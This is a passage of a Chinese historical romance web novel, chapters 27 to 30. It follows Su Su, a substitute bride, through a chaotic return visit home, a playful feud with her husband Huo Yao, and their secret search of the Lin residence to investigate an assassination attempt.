袁舒兰站在正厅门口拦着，“不准去。”
27. 27
到姜家，下了马车，刚到宅子大门，小厮一脸焦急，像是遭遇了什么不得了的大事一样来开门，“苏苏小姐您回来了，快去看看吧，夫人在逼安小姐喝堕胎药。”
苏苏赶紧抬脚进门，还没到正厅前就听见惊天地涕鬼神的嚎叫声。
“我不准这个孽种留下来，过来把药喝了，不听我的我让人抓着你灌下去。”
这声音是谭大娘子，苏苏眸子一凝，提着裙加快着脚步往正厅的方向去。
她一过去就见姜云安躲在姜华临身后，而谭柳慧端着一瓷碗左右去追着，她大致猜到是发生什么事了。
可大娘子此前是不止姐姐有心上人的？苏苏突然觉得她当时没有告诉大娘子，让事情不要发展到这个地步，是不是错了，她内疚的情绪开始充斥了心口。
在这短短的几秒内，她就想到大娘子知道她看到姐姐晚上和心上人晚上见面，早就猜到姐姐可能有了身子会怪她害了姐姐，姐姐也因为被大娘子逼着喝药而怪她。
小时候还没被送到庄上去的时候，她和姐姐在池塘边看锦鲤，姐姐不小心落到池塘里呛了水，她被罚着在池塘边跪了一整夜。那晚下了大雪，她的脸被冻僵了，手脚也没了直觉直到姐姐醒了说明白当时是自己不小心失足掉进池塘的，她爹才恍然大悟慌了神似得从屋子里冲出来抱着她进屋取暖。
她还记得那天漫天大雪，视线越来越模糊，听到有人在耳边叫她，才发现是爹爹来了。
爹爹的手心捧着她冻僵的脸，轻拍着让她别睡，当时她被冤枉受罚竟然还生出对不起爹爹和大娘子的想法，直到现在这件事始终心有余悸。
不受宠爱的小孩也许就是这样不断的想要讨好，最后不仅没有得到想要的那一点点宠爱还被愈发怠慢。
她深呼吸一口气，用尽力气把过去的事抛到脑后，不想再去想，让小时候受到的委屈继续伤害长大的自己。
小厮在乱做一团的场面下通知，“老爷！夫人！苏苏小姐回来了。”
他们听到小厮的通传后，才猛地整齐划一转头呆愣地看向她，像是完全忘了她今天回回门，罢了，幸好她没带霍尧回来。
之前她还是太想当然了，觉得不过是回门而已，让霍尧一起回来能避免掉外人说他们夫妻不和的闲话，现在看来在和离前不能让霍尧来姜家了，容易暴露。
谭柳慧端着碗转身气愤地坐下，碗咚得一下放在桌上，里面黑色的汤药也荡了出来流到了桌上，撇着脸满含怨气像是这里的所有人都负了她，然而以前这幅表情是从来不会做给姜云安看的。
想必是被气得不轻了，苏苏垂着眸子走去，下意识就想要认错让大娘子别太责怪姐姐，不过此刻她爹爹一反常态地满含歉意地朝她走来，“苏苏，怎得回来没通知一声？”
她深瞳怔了一瞬，半震惊半欢喜地回答，“我让云蝶通知过了，以为爹爹知道我今日回门。”
姜华临慈祥含笑，“哦。”垂了下眸更是含了歉意，再抬头是突然想起什么，眸中突然一慌忙问，“那霍尧没和你一起回来吧？”
苏苏摇了摇头，“我夫君的外祖母来了，所以他准备了礼品带回来让我替他说声抱歉。”
苏苏说得轻松又周全，姜华临定定地看了苏苏一眼，像是在确认嫁过去有没有受到委屈，但仅仅就是很快的一眼便收起来了，紧张地情绪瞬间松缓了下来，“好好，那就好，也幸亏没来，不然看到这场闹剧就该怀疑了。”
对苏苏轻声说完，转头看向一早起来就发疯的妻子，“你看看你像什么话，知道苏苏要回来还闹成这样，这得亏霍尧有事没来，要是来了我看你怎么收场，还要不要苏苏在霍家过安生日子了？”
姜云安咬着唇，手抚着微微凸起的小腹颤颤巍巍看了苏苏一眼，“妹妹你回来啦。”
苏苏看到并没有多震惊，这也源于她猜到了，由着刻在骨子里的礼貌缓缓点头行了礼，“姐姐。”
谭柳慧侧着脸眼神里含着还未散去的怒气外又含着泪水，强势地拿帕子把眼泪抹了个干净，又一下重新端起碗站起来就朝姜云安去，“现在把堕胎药喝了。”
姜华临长叹着张开手老鹰护崽子似得拦着。
“你说这是何必，安儿都说了，那个男子会负责会上门提亲的，你怎么就是听不进去，再说这不是你早就知道，放任安儿与人苟且还让苏苏来替嫁的结果？”
“不满意，不高兴就自己受着。”
苏苏听到这里突然心下松了下来，她的道德感好像是得到了某种救赎，原来这不是她的责任。
她心口颤颤的，莫名的委屈感像是开放闸门的洪水疆域，她紧咬着唇好久才没让眼泪落下来。
轻松地呼出一口气，生生把眼眶里的眼泪咽了回去。
姜云安护着肚子仓皇地四处躲，姜华临四下护犊子，谭柳慧端着四处飞溅的堕胎药紧紧追逐。
苏苏上前去劝，谭柳慧情绪太过激动，一抬手把手里的碗砸到了苏苏脚边，她藕色的绣花鞋也被汤药给整个浸湿。
哗啦一声，整个屋子的吵闹声终于随着瓷碗的破裂也跟着顿时寂静下来。
苏苏对面的三人呆呆定定地僵了下来，像是被谁点了穴，荒唐又好笑。
姜华临忍不住呵斥道，“够了，闹什么闹，一点不像话。”
苏苏实在不知道该说什么，蹲下拾起碎掉的碗来，云蝶怕她被割伤，看见忙上来，“小姐，让奴婢来。”
然而苏苏的手指已经被扎了一下，不过并不严重，只有一点小口子，她捏着手给藏了起来。
“云蝶，你小心点，别划到手了。”她嘱咐着。
云蝶点点头。
苏苏站起身，那一下好像把她给扎清醒了些，她学着霍尧不过于守礼节的样子，没有请示能不能入座直直走到椅上坐下。
也不在意他们再如何闹了，转头对旁边的丫鬟道，“我要喝茶，铁观音。”
丫鬟眼色明显地往谭柳慧看了眼，谭柳慧没有出声阻拦她才下去泡了。
在姜家，铁观音是招待贵客的，是不会随意泡着喝的，尤其谭大娘子这样精打细算的人都是不会泡给姜华临喝的，更别说是苏苏了。
就这样
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正厅只能闻见雨打在屋檐上的声音，厅里尤为安静起来。
丫鬟端着茶壶来盏茶，手法轻柔的开始盏茶，谭柳慧心疼地皱眉给一旁的夫君使眼色，她爹爹撇开头装瞎。
谭柳慧那眼神落在苏苏眼里，她不动声色含了下笑端起茶盏吹了吹而后仰头一口闷。
谭柳慧强势，但是个圆滑的人，大多数时候并不会如此仍由场面闹得鸡飞狗跳，她爹爹如此淡定倒是少见。
她喝了一盏喝完又到一盏……谭柳慧终于是心疼地开口了，“苏苏，烫啊，你慢慢喝。”
苏苏笑了笑，伸手把杯子又递出去让丫鬟再倒一杯，然后又让丫鬟加了些凉水，“温温的，不烫。”
谭柳慧忍不住又道，“家里没那么富裕，你别大口大口喝啊，多浪费。”
看见场面平静下来，苏苏也撑得想打嗝，终于可以放下茶盏了。
姜华临瞥了谭柳慧一眼，啧道，“苏苏回来想喝点茶怎么了？”
谭柳慧转头撇着嘴，小气地说：“那多贵啊，你又没给家里赚的富得流油。”说到这里突然想起姜华临背着她给苏苏的八百两，心又不平衡了。
她本来是想着自己亲生闺女能嫁给三皇子，她也就不计较区区八百两银票了，但现在她赔了夫人又折兵，这哪想得通，她得像个办法回回血。
再怎么也得把给出去的两个铺子要回来啊。
苏苏看姜云安还站在不敢坐，她起身走过去把姐姐牵着坐到了她旁边，“姐姐别站着，脚累。”
姜云安抿了抿唇，眼神不安地看了眼母亲，才怀着忐忑不安的心坐下来。
姜云安从小就惧怕谭柳慧，这是姜家都知道的事，所以看到姜云安这样胆怯地连坐也不敢坐也并不意外，只是看到苏苏又是不顾礼节自己坐下又要喝茶的行为，倒是觉得她胆子比此前大了不少，难不成还真是嫁出去了所以有底气了。
姜家的一众佣人都如此想的，各个心里暗自感叹苏苏不争不抢地躺赢了。
苏苏从未想过赢不赢的事，她从昨天霍尧拉着她离开家宴时，她感受到的那种不守规矩的爽快，就开始理解姐姐为何会先斩后奏后，并不仅仅是喜欢心上人那么简单。
那时姐姐帮她扮小厮出府找程哥哥，她现在也想帮姐姐如愿和心上人在一起，“姐姐，姐夫多久上门提亲？”
她直接称呼姐夫让姜云安瞳孔怔动，不安地瞟了眼母亲和父亲，轻声回答，“我不知道……”
这一出口，原本快要不气的谭柳慧，心里那火又蹿了上来。
“不知道？！”说着就开始四处找鞭子，姜华临皱眉伸手拦下来了，“你听安儿解释啊。”
姜云安发慌解释，话都说的不清楚了，“不，不是母…亲…你不让他上门提亲嘛？”
苏苏舒了口气，“那姐夫还是会上门提亲的吧？”
姜云安点点头，看到此处苏苏也松下一口气，转头对姜华临道，“父亲和母亲商议定个时间吧，别拖太久了。”
苏苏最后一句话说得婉转，在大家都知道的情况下，护住了姜云安的颜面。
28. 28
霍尧在府上睡得安逸得很，这几天他都打地铺睡觉，感觉腰酸背痛的，早知道就不那么冲动给姜苏苏签什么和离书合约了。
他就是着了姜苏苏的道，就说了她心机深吧，原本他睡床的结果被她三说两说变成他睡地上，她倒是理所应当睡床了。
要不说还是床舒服呢，这睡着感觉脖子，背各方面都舒服了。
他得想个完全的法子把床的使用权夺回来，再不能着那女人的道了。
说话做事得慢，得周全，霍尧在心里不断给自己说，有时他都觉得这纨绔公子哥装久了吧，脑袋好像也不怎么灵光，要说看书他是看得，但不能太过招摇，藏拙是他现在应该做的。
做官被高高架起的日子并没有逍遥自在被人看做浪子的日子好过。
年仅十七的霍尧早看透了这个道理，他祖父就是个例子，当年军令派兵去救被俘虏的凌江王之子，圣上同凌江王不和总所周知，且凌江王被传有叛反之疑惑，但又不得不碍朝堂上的文武百官施加的道德压力去解救。
圣上的意思所有人都看出来是两难的，但他祖父因爵位被架着只能接了军令去了，在沙地之中险些被胡人埋伏杀死，最终并未将人解救成功，负伤回来的祖父被降了功勋以示惩戒。
都说这算是好的结果，倘若当时他祖父解救成功了，怕不会只会降功勋那么简单。
所以对于霍尧来说，他不想要那个爵位，不想做官，但那日在猎场情急之下揪出了刺客让他在圣上面前反而立了功。经过这件事后大皇子厂常常派人来劝他与他同一阵线，这样细想，他发现有些不对劲的地方，昨日宏堂的人来霍府做什么的？单纯想杀他？他觉得没那么简单，姜苏苏说的对，他是应该去查源头。
想着便要出门调查。
前来找霍尧的外祖母高声吆喝声乖孙，独孙进了院子了，听见这犹如吊嗓子似得声音，霍尧一个激灵翻起身要找地方藏。
就是没来的急藏，刘燕平一下抓了正着，笑着拉着他就走，“走，跟外祖母一起去姜家。”
“我去作甚？”他往后跳了一个步子。
绝不去的架势摆做起来，转身就往外走到堂厅脚跨踩在凳子上坐下撇脸那是一个不在意，完全是一脸不管今天谁来了，就是天王老子来了他都不得去的架势。
刘燕平是惯孙子，但是也有自己管教的一套法子。
她阴谋地笑着对霍尧说：“你要是不去，外祖母只好把你八岁了还尿床的事告诉你媳妇，这也算是个趣事吧，外祖母可以讲上三天三夜都不带停的。”
把柄在手可算是好用，霍尧一听立马起了身：“去去去，您怎么老是拿过去的事威胁人。”
要是姜苏苏知道他尿床，他还怎么树立形象？
跟着到了姜家，南五去姜家叩门了，祖孙两个坐在马车上稍等着，片刻姜家的佣人来开门了，南五禀告了所来之人，脸色都发白了像是见了鬼一样惨白。
哆嗦着说：“稍…稍…稍等。”
这两个字都被掰成了几半来说，南五蹙眉疑惑嘟囔着去回禀，“少爷，这姜家来开门小厮跟个结巴似得让稍等，姑爷来了不应该赶紧请进门的吗？哼，感觉多大排场似得。”
南五素日里喜欢吐槽，但也是为主子鸣不平，霍尧这人大方洒脱从来不觉得这是个毛病，今日当着想刘燕平的面儿吐槽了，就被说了：“南五跟着少爷要谨言慎行，别让嘴给少爷遭了祸事，姜家与霍家现如今是亲家，还说人摆谱不合适。”
南五被说了一通老实巴交颔首：“是，老夫人。”说完颔首退到一旁去了。
刘燕平转头对霍尧说：“尧儿，今日你媳妇回门你不跟着来，确实不懂规矩了，人姜家给你开门慢了也是应该的，进去别给人摆脸子，知道了不？”
霍尧敷衍点头。
姜苏苏也没说一定要让他来啊，他也是第一次成亲哪知道这么多麻烦规矩，要是知道了也就跟着她来了。
刚接到霍尧和霍府老夫人来了的消息，姜家彻底乱成了一锅粥。
还跪在地上的姜云安和她来负荆请罪的未来夫君慌得左右张望，姜苏苏心里也急但面色仍然是平静的。
谭柳慧手上还拿着鞭子，记得团团转，“完了完了，怎么突然来了，不是说不来了嘛？早知道就不让这没文化背这扫帚来的人进门了。”
姜华临显然也急了起来生怕被揭穿一切就白费力气了，他是个悲观的，已经把各种被揭穿的画面预想了一遍，每一种他都不能接受，因为每一种都会影响到他的生意，他不想人还在钱没了。
赶紧把两人拉起来让他们躲进屋子里去别出来。
姜云安连忙点头拉着胖墩墩还背着个扫把负荆请罪的萧志拉着里屋去。
姜华临嘱咐府上的佣人不准说漏嘴了，佣人们都点头应是，苏苏走上前说：“爹爹，母亲别慌，越慌越坏事。”
两夫妻凝着脸点头，随后把人请了进来，谭柳慧手拿鞭子双手放在前面紧张得皮笑肉不笑，姜华临也更妻子笑的一样，嘴角像是被两条线牵起来一样。
迎面进正厅的霍尧看丈母娘手拿鞭子，看了姜苏苏一眼，这什么规矩，回门还要挨打的？
他疑惑片刻后觉得反正自己皮厚打就打吧，也怪他没和她一起回门。
走上去主动乖觉地把双手摊了出来，“见过母亲，是我来迟了，打吧。”
这一操作出乎所有人的意料，拿着鞭子的谭柳慧更是错愕，下意思往自己手里一看鞭子还拿在手上，扔烫手山芋似得往旁边一丢。
“误会了，误会了。”谭柳慧咧嘴笑了笑。
姜华临给妻子使了个眼神，把气糊涂了的妻子拉到一边，苏苏得体地过去把自家夫君迎过来，给谭氏拿着鞭子的行为做了个还算合理的皆是，“那鞭子是拿来抽我爹的。”
霍尧震惊地往老丈人扫了眼，又回头看向苏苏。
姜家女人都这么凶的？她以后不会也拿鞭子抽他吧。
随后便听霍君鹤请亲家长辈入座，
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“亲家长辈快请坐请坐，是我们款待不周了，若早知您来寒舍就摆宴席了。”
“不碍事，是我这老婆子一时兴起想跟着孙子来认认门儿了。”刘燕平坐下端笑着说。
不得不说姜华临这套说辞是圆滑的，他素日里在生意场上的嘴皮子也终于用在了处理家里的人情世故上，看的谭柳慧也是一愣一愣的。
刘燕平精明地把这家子的屋子摆设给暗中瞧了边。
节俭还是没钱？看上去挺穷酸的，比她一个寡妇家里用的东西还破，这家子是怎么攀上霍府的亲事的，她更是百思不得其解了。
莫不是亲事的婚约是骗来的，偷来的？
只要起了这个念头，对面的人说什么做什么都会被往这方面审判一番，丫鬟送来了用取自清晨荷叶上的露水泡的茶水。
她端庄地品了口茶，思觉这茶倒是有点东西的，清香甘甜不涩口，不像是便宜货，就是对面的夫妻两个大眼瞪小眼的盯着她，像是生怕别人不满意地表情，这是穷人自卑的表现。
放下茶盏她笑了笑，“这茶不错，诶，姜老爷房中就只有亲家夫人一个？”
在座的人都一脸不可思议的表情看向刘燕平，姜家两夫妻没太听懂老太太突然问出这句话是什么意思，而经过了昨晚的家宴后苏苏并没显得多震惊了，知道霍尧的外祖母八成是想问她父亲是否有妾室的意思。
但苏苏只是对刘燕平的话显得平常，但归于其中她仍是心惊胆战起来，生怕哪里说漏嘴了。
苏苏半带提醒地说道：“父亲母亲，外祖母的意思是父亲是否有妾室。”
聪明人便知苏苏这话的意思，谭柳慧侧目看了眼苏苏立马领会了，不过这说有还是没有？苏苏的小娘已经去世了，若是说有又被问有没有生下一儿半女的，说的多了破绽也就多了。
然而方才还被谭柳慧暗暗夸奖的姜华临不带脑子地脱口而出，略有引以为傲的意思，“哦…有有，有一个，”说完有悲悯起来，“不过啊，命太薄了，已经去世多年了。”
谭柳慧眼珠子侧目睨着姜华临，而后也只好顺着说下去了，“是啊，没生个一儿半女的就去了。”
心平静下来后，谭柳慧的脑子也开始活络起来，与其让人问不如自己先给说了，占据主动的位置怎么都不会错的。
刘燕平缓缓点了点头，能纳妾室的也不算多穷的人家了，突然想到什么视线朝苏苏看了眼，然后问夫妻二人，“家里就只生养了苏苏一个？”
“不是。”
“对。”
夫妻二人口径不同但又是同时脱口而出，眼看着刘燕平生出怀疑的神色，苏苏手心上的汗也冒了出来。
谭柳慧赶忙笑了声，手搭在丈夫肩上不留痕迹地掐了他一下，转头解释道，“哎呀，请假老夫人见笑了，我夫君心肠好，把表妹生的女儿也接回京当做亲生女儿养了，所以方才才说不是。”
刘燕平狐疑地看向他们片刻收回眼神，笑着端起茶缓然点了点头没应话了。
29. 29
回了霍府后，姜苏苏和霍尧先去给霍君鹤和袁舒兰请了安然后才会自己的小院。
霍尧坐下喝了口茶，眼神时不时看向苏苏又转回来。
苏苏看他欲言又止的样子她后背都渐渐沁出了冷汗，她真的是生怕在姜家时露出了什么破绽引得霍尧怀疑了，虽说回来的路上他一句话也没说，但他的表情怎么看都像是想要对她说什么。
霍尧的外祖母在姜家问她爹爹有没有纳妾，这按照外祖母在霍家也怂恿讨好公爹宠幸妾室来看这并不奇怪，只是闻到是否只生养了她一个女儿这一点就让苏苏心有余悸。
她和家中父母心也是大，没有对好话都是凭借各自的想法在圆谎，破绽自然也会更大。
苏苏思索一阵后缓缓问道。
“霍尧，你今天怎么突然到我家去了？”
“想去就去了，有什么好奇怪的？”霍尧散漫地放下杯盏，抬眸看向苏苏，“你……倒是有点奇怪。”
姜苏苏心口一定，忙不迭道，“我，我哪有奇怪。”她侧了侧脸颊，纤长细嫩的手指碰了碰下巴，偷偷瞟了眼霍尧，发现他一直在盯着她，她赶紧收回了眼神。
霍尧淡笑了声，“从回来的路上你就在偷偷打量我，你是憋着什么坏？还是害怕被我发现了什么？”
听这话苏苏整个人头皮僵硬得发麻，他果真是怀疑了。
吞了吞口水，她强装淡定，“你太过疑心了。”
说着她走向外面让云蝶打水来洗漱睡了，她不能再说了，说得越多越显得此地无银三百两，苏苏知道如果霍尧知道了真相他定会立马让她收拾包袱走人，那样不仅姜家蒙羞她的脸面也无处放了，她就算死也要瞒到姐姐如愿成了婚，和霍尧和离。
云蝶给她拆了发髻，一头黑墨绸缎般得秀发瞬间垂落在肩上。
霍尧侧目瞧见顿时转开视线，起身站起来脑袋不知在想什么，太过自然地就穿着外衣一下躺倒床上枕着手臂。
苏苏转头看见，立马站起来走过去，“这是我的床，你起来。”
她不太能接受有别人睡她的床，尤其是穿着外出的衣服直接躺倒床上。
霍尧缓慢地抬眼，一脸无辜地看着她然后匪气得搭着脚，“我记得你没来之前这是我的床。”
苏苏看他穿着靴子就直接踩在床上，她心里发麻，上手去拿他，“可签了和离合约这张床就是我在使用，你快起来，起来啊。”
霍尧不乐意起，任凭她上下拉左右拉都不起，苏苏用尽了力气脸拉得都涨红了一片，此时他手稍一用力就让她扑倒在他胸膛。
云蝶看小夫妻如此亲密赶紧出去把门关上了。
房里的两人近在咫尺，她的鼻尖贴到了他的鼻尖，眼神交叠时，她的心跳怦然像是击鼓。
苏苏赶紧把他推开坐起来背对着他，沉了一刻，“你想睡床的手段真不磊落。”
看苏苏把他的目的看穿了，霍尧也不再装蒜了，轻笑了声松散地坐起来，“小爷一个浪子要什么磊落，况且就你这身材勾引不到小爷。”
苏苏皱眉往下看了眼，烦心地看向他，“我从未想过勾引你，只想好好过日子，既然你我已经签了和离合约，就请夫君再忍耐些日子。”
“你究竟要等到什么时候？”
霍尧脱口问道，随后直直看着她，在他赤裸的眼神里，黑白的眸子好像将她看了个此刻，她在他的眸子里仿佛无处遁形。
她为什么会有这样的感觉，霍尧只是个纨绔公子哥啊，他能有多大的心眼？
苏苏捏着手心起身，“你是男子不懂我们女子对名声多么看重，你让人传我与男子当街纠缠时知道我同姜家受了多少别人说我作为女子不检点的流言吗？如今成亲不过一月你又着急与我和离，你让别人如何看我？”
霍尧并不以为然，“你管别人如何看你做什么？活着多累。”
他自从做了纨绔后多得是人在背后说他了，但又如何？他不照样活地好好得，更加自由自在的。
姜苏苏淡眉微蹙。
“你再等一月，一月后我们便一别两宽。”
霍尧不情愿点了下头，“那月单数你睡床，双数我睡。”
“今日正好双数。”
苏苏紧紧捏着手心，看那床被他弄得皱皱巴巴的便答应了。
晚上漆黑的夜里，霍尧睡得熟雷打不动，苏苏趴在床边拿着墨汁给他画了个猪头，嘀咕着，“猪头霍尧……”
清晨天亮了，苏苏一大早起床去请安了，霍尧还在睡，他醒来时房里没有一个人，莫名还有些不习惯。
出门站在门口叫来南五，南五看见他脸上被五花八门画了好几个猪头想笑又不敢笑。
“少爷……噗……找奴才有什么事？”
霍尧问：“少夫人呢？”
“回少爷，少夫人去给老爷夫人请安了，少夫人还说让少爷多睡会儿，不让奴才打扰少爷。”
霍尧缓点了下头。
这柳条子还算是有心，他还以为她会记仇。
他自顾自走去洗漱完，对南五道，“去备马车，我出门办事。”
南五看见他脸上画的猪头完全没有褪色的迹象，便断断续续说道，“少爷……那个……您的脸。”
霍尧一个激灵跑到铜镜前，看到脸上被画了猪头，气得大喊，“姜苏苏！你给我等着！”
姜苏苏笑眼弯着和袁舒兰一同在花园亭子下品茶。
“母亲，今日的铁观音味道如何？”
袁舒兰满意点头，“嗯，不错，是怎么泡的？”
苏苏：“用荷叶上汲取的露水来泡清香味就会更浓。”
“苏苏有心了。”袁舒兰牵起苏苏的手抚了抚，“你和尧儿相处的还好吧？”
苏苏抿了抿唇，思沉了片刻道，“母亲，儿媳有话想对母亲说。”
看苏苏欲言又止，袁舒兰坚定道，“但说无妨。”
得到肯定，苏苏在袁舒兰耳边说了什么，袁舒兰看了苏苏一眼问道，“这样能行吗？”
“行不行，试试才知道嘛。”
话音刚落就听到霍尧气冲冲来算账地声音，“柳条子！你给小爷出来，看你把小爷画成什么鬼样子了！小爷这还如何见人！
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你出来！”
转眼霍尧看到她了，抬脚找她走来。
苏苏赶紧躲到原袁舒兰身后，“母亲……”
袁舒兰护着她，赶紧劝霍尧，“尧儿有什么好好说。”
霍尧指着自己的脸，跳脚道，“娘！她把我这脸画成这样，皮都快搓掉了也洗不掉，还怎么好好说。”
“母亲…”苏苏可怜巴巴地唤着袁舒兰，然后对霍尧做鬼脸，“母亲，我就是和他闹着玩儿的。”
袁舒兰拦着霍尧，“够了，过几天就消了，对你妻子别这么凶。”
霍尧眯眸看向苏苏，气不打一处来。
回了房，他又洗了几遍脸仍然洗不掉，这姜苏苏用得什么东西给他画的，一点洗不掉。
苏苏进门朝他走去，“过几日就会消了，别搓了。”她把手帕递给他。
霍尧不要，转头坐到凳子上，语气不悦地道，“姜苏苏，毁了小爷的脸对你有什么好处？”
“都是草本用料，不会毁了你的脸的。”苏苏把手帕收回，走去道，“正好在消之前你就安心待在家看书。”
霍尧皱眉，“你还管起小爷来了？”
说着霍尧起身就往外走，走了几步又停下脚回来拿了张黑布然后走了。
霍尧并不想有人管他，尤其是姜苏苏，他此刻心烦极了，到酒楼躺下叫来了谢沉和魏宇桀，两人看见他脸上画的东西捧腹笑得简直停不下来。
他侧眸看这俩损友，不悦地说：“你们有没有心？小爷都被那柳条子整成这幅样子了。”
“有有有……”魏宇桀大笑着说，“但不得不说姜姑娘画的猪头还挺生动的。”
“你是不是哪里惹到她了？”谢沉问。
霍尧烦躁道，“她就是记仇的，看小爷不想办法整她。”
此时苏苏独自到林府门口敲响了门，有小厮来开门后，她道，“我找林卫，林大人。”
小厮一句不吭关上门，不久后又出来开门通报她进去。
苏苏进去后，对面坐了林卫，她确定地知道他是谁但仍然称呼他为“林大人”。
跪下道，“我想请林大人帮忙调查一事。”
她没有拐弯抹角，直接开门见山的说。
林卫让身边的人都退下去了，然后上前把她扶起来，“起来说。”
苏苏从袖口拿出暗器递给他，“有人想要杀我夫君，还请林大人帮忙调查。”
林卫接过苏苏递来用手帕包着的暗器，眸子沉了，片刻他抬眸看向苏苏，“你就这么确定我能帮得了你？”
苏苏抿唇点了点头，“我相信你有办法。”
她今天为霍尧而来，不是为了与他团聚相认，该说什么不该说什么她很清楚。
林卫拿着暗器顿住片刻，然后还给了她。
“我帮不了你，也劝你别参与霍府的事。”
“为何？”
苏苏不解，忙问。
林卫冷着脸转身道，“你是你，霍府是霍府，若是你的事我会帮，但霍府的事我帮不了。”
苏苏垂眸握着手中物，默默行了礼离开。
30. 30
在回霍府的路上，姜苏苏想着该如何才能查出究竟是谁想要霍尧的命，思来想去她回想到方才林卫给她说的话，其中说到让她不要管霍府的事，她猜想可能此事牵连并不只是霍尧，而是整个霍府。
霍君鹤如今在朝中就任军令监察，军令监察以往是没有的，但自从霍府从护国公这一位置上被将下来后，圣上也只提出降爵并未清晰界定霍府的爵位。在外人看来霍府仍然是高门大户，但朝中的人皆知霍府已经不必当年，就连霍君鹤的这一监察也处处被压制，但还是忌惮着圣上这么多年没做出什么处置表面上仍是尊敬的。
苏苏并不知道公爹在朝中的地位如何，只是她猜想倘若公爹退下来了，霍尧袭了爵位他那性子如何在朝中呆的下去。
突然她想起霍尧说做纨绔的话来，就这瞬间她猜想霍尧是不是不想袭爵所以才跑去做纨绔的。
走着来到了酒楼前，她问门口的伙计，“霍公子今日在这里吗？”
她今日穿着杏色蝴蝶花纹襦裙，一身女子打扮酒楼的伙计并没有认出她当初来过，看了她一眼道，“这位姑娘，我们酒楼不能轻易透露客人隐私。”
苏苏淡淡抿唇，正想要什么时，看见谢沉从酒楼出来了。
她对谢沉行礼道，“谢公子，请问我夫君在里面吗？”
谢沉看见是她，先是一愣随后往身后瞧了瞧，霍尧不是跟着他一起出来了嘛，怎么人不见了。
此时的霍尧捂着魏宇桀的嘴躲在酒楼拐角处，魏宇桀呜呜呜地掰下霍尧的手，大口大口的喘着空气，“差点憋死我，看见什么了你，跟见了鬼似的。”
霍尧看着门口，魏宇桀顺着他的方向看去才知道原来是姜苏苏。
他大笑调侃，“方才不是还说要给她好看，现在就怕起人来了，阿尧，成亲后胆子变小了啊，感觉都不像你了。”
霍尧才懒得跟他辩论个结果出来，现在当务之急他得甩掉姜苏苏去查事儿。
“你出去，要是问到我就说我没来这里。”
说罢霍尧转身就朝后门走。
苏苏问谢沉后，看谢沉也没说话反倒是往身后看，她也往后看去，一下就看到一熟悉的背影，霍尧的红袍子实在是太显眼了，她想看不到都不行。
魏宇桀刚过来第一句便此地无银三百两了，“我们方才没和阿尧在一起啊。”
姜苏苏淡笑了下点头，谢沉不争气地看着魏宇桀疯狂使眼色，魏宇桀一下领会摆手解释道，“姜姑娘千万别误会，我的意思是你肯定是想问阿尧在哪儿，所以才这么给你说的。”
苏苏对他点了点头，然后左右大致观察了下，然后就往酒楼左侧去。
刚一转角就看见霍尧从二楼翻围栏跳下来，霍尧一转身也恰巧看见了她，一个激灵问道，“你怎么阴魂不散啊。”
苏苏好脾气地走过去，看他蒙着个脸便先到了歉，承认自己昨晚太过幼稚了往他脸上画了画，霍尧还真是不习惯她主动承认错误，直直地站着也不好再过多的责备她了，反正过几日也消了，再责备她反而显得自己不大度了。
霍尧道：“既然这样小爷也不跟你一般见识了，我还有事你回去吧，别跟着我啊。”
话落他便大摇大摆准备走，苏苏仍然跟在他身后，他停下脚步转头问，“不是说原谅你了，还跟着我作甚。”
苏苏淡问，“你去哪儿？”
霍尧蹙了蹙眉，正在想要不要说自己是去调查暗器与林卫是否有关时想了想觉得这事还是不要告诉她，免得把她牵扯进来了此后和离了也得给她带来麻烦，她知道得越少对她越好。
“我去哪儿你还管我？”
他一副玩世不恭地模样，语气轻飘地对她说，苏苏看着他的眼神，定定地点了下头，“你现在还是我夫君，所以我得管。”
她刚说完霍尧眸子都沉了沉。
她这话什么意思？关心他？
“你……这是在关心我？”
姜苏苏怔愣了下，睫毛眨动一下道，“我不想还没和离前成了寡妇。”
话音缓落，眼看气氛凝住了，她忙接着继续道，“你是要去调查暗器怎么回事对吗？”
霍尧也没再隐瞒了，点了点头：“嗯。”说着他又缓缓起声，“你不会想跟着我去吧？”
苏苏睁大了眼睛点头，不等他再反应拉着他就到了一家成衣铺换了身麻布衣。
霍尧嫌弃地要脱下来，苏苏给他拦住了，“你那身衣服太招摇了，这身布衣挺好的，你长得好看能把这身衣服都显得贵气。”
霍尧半信半疑看着她，“你逗我呢，这衣服上还有补丁。”
他牵着衣服左右看，灰色麻布衣上好几个补丁，他家门口的乞丐都比这穿的好吧，他这辈子都没穿过这么破的衣服，还说他穿这身贵气，她把他当三岁小孩儿呢，自己倒是挑了身不错的布衣。
“你这是对自己的长相不自信了？”苏苏看着他。
霍尧：“你以为纨绔那么好做的？小爷全凭这张脸。”
苏苏这激将法成功了淡笑了下，随后跟着霍尧到了林府外，苏苏愣了下，“林府？”
霍尧转头，“你知道这是哪儿？”
苏苏顿了顿摇头，然后抬手指了牌匾上的林府表示自己是看见牌匾才知道的。
霍尧也没怀疑，一个飞身就翻墙上去了，苏苏去搬了个石头过来准备踩着爬上去，一脚刚踩上去身子就不稳得哆嗦从上面滑了下来。霍尧显她墨迹跳下来让她踩着自己的肩，苏苏笨拙都爬墙。
霍尧边托着边说：“看着挺瘦，重死了。”
嘴上虽然抱怨但他还是稳稳地把她托举上去了，翻过墙后，苏苏喘了口气，脸上带着笑，“还是钻狗洞容易。”
霍尧轻松地飞身而下在她旁边道，“没翻过墙还非要跟。”
“这次翻了下次不就容易了。”
其实不带任何偏见地说她还挺喜欢和霍尧一起这样没规矩地待在一起的。
她眼睛亮亮地看着霍尧蒙着面露出的一双黑眸。
他确实长得好看。
霍尧被她看得不好意思起来，“你一直盯着我做什么？”
苏苏一下反应过
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来急忙转开眼神摇了摇头，这时院子的狗被他们的声音惊动了，吠叫起来。
林府的人闻声打着灯笼来查看，陆续来了七八个小斯，霍尧和苏苏躲在杂草丛后不敢出声。
林府的人来查看一圈后没发现异常才把人撤走了。
苏苏和霍尧决定分开行动，她就在后院查，霍尧去前厅。
霍尧去往前厅后，苏苏猫着身子在后院四处看有没有何处有可疑的地方，不过她觉得林卫不会伤害霍尧的，虽然他现在换了身份成了林大人但他还是当初在庄子上为人和善的石宇程。
林府不大，不想霍府的院子错落间层层叠叠像是迷宫，这恰恰也方便搜索，不过院中的杂草无人打理倒是给了藏身的地方。
苏苏无意间进了一件带有封条的屋子，房顶结了不少蜘蛛网，应该很久没人住了给荒废了，就这窗外的光她拉开了桌子的抽屉，里面放了一个盒子。
打开盒子，她拿起来仔细看，眉心渐渐蹙了起来。
是差点杀掉霍尧的暗器。
门突然咯吱一声，吓了她一跳，苏苏赶紧把东西放回去原路返回。
另一边的霍尧掩藏在房顶处听着正厅下林卫的谈话。
“绢信还没找到？”
